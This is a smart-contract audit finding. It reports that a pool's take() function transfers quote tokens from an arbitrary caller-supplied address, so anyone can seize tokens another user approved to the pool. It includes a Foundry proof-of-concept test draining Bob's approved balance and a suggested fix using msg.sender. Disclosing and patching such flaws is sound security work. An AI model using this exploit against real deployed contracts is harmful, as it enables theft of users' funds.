Audit Daily Approved Tokens To A Pool Can Be Forced To Take

[H] Audit Daily Approved Tokens To A Pool Can Be Forced To Take

Code snippet

full code link

https://github.com

1
2
3
4
5
6
7
8
9
10
function take(
address borrowerAddress_,
uint256 collateral_,
address callee_,
bytes calldata data_
) external override nonReentrant {
...

_transferQuoteTokenFrom(callee_, result.quoteTokenAmount);
}

Impact

Anyone who invokes the toke function and passes in someone else who approved this pool could take the tokens.

Proof of concept

I use foundry to make the whole test.

  • 1.Firstly,we need to create our own ERC20 token and implement the quote contract.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function setUp() public virtual {
console.log("When transferring tokens...");
alice = address(2);
bob = address(3);

myERC20 = new MyERC20();
quote = new Quote(address(myERC20));

//owner mint some token
myERC20.mint(OWNERAMOUNT);

//send some token to our dear testing user.
myERC20.transfer(alice,SOMEAMOUNT);
myERC20.transfer(bob,SOMEAMOUNT);
}
  • 2.Use bob’s address approved the pool some token.Check the balance of bob after we make the call.
1
2
3
4
5
vm.prank(bob);
myERC20.approve(address(quote), SOMEAMOUNT);

//check bob balance step1.
assertEq(myERC20.balanceOf(bob), SOMEAMOUNT);
  • 3.Use Alice’s address to call the take function which is public within the quote contract.
1
2
3
//alice transfer the approve tokens.
vm.prank(alice);
quote.take(address(bob), SOMEAMOUNT);
  • 4.Finally, we check the balance of bob, if bob’s token has been token by anyone who makes the call.
1
2
//check bob balance step2.
assertEq(myERC20.balanceOf(bob), 0);

Alternatively, consider checking that callee has approved spending quote tokens to msg.sender.

1
2
3
4
5
6
7
8
9
10
function take(
address borrowerAddress_,
uint256 collateral_,
address callee_,
bytes calldata data_
) external override nonReentrant {
...

_transferQuoteTokenFrom(msg.sender, result.quoteTokenAmount);
}

Comments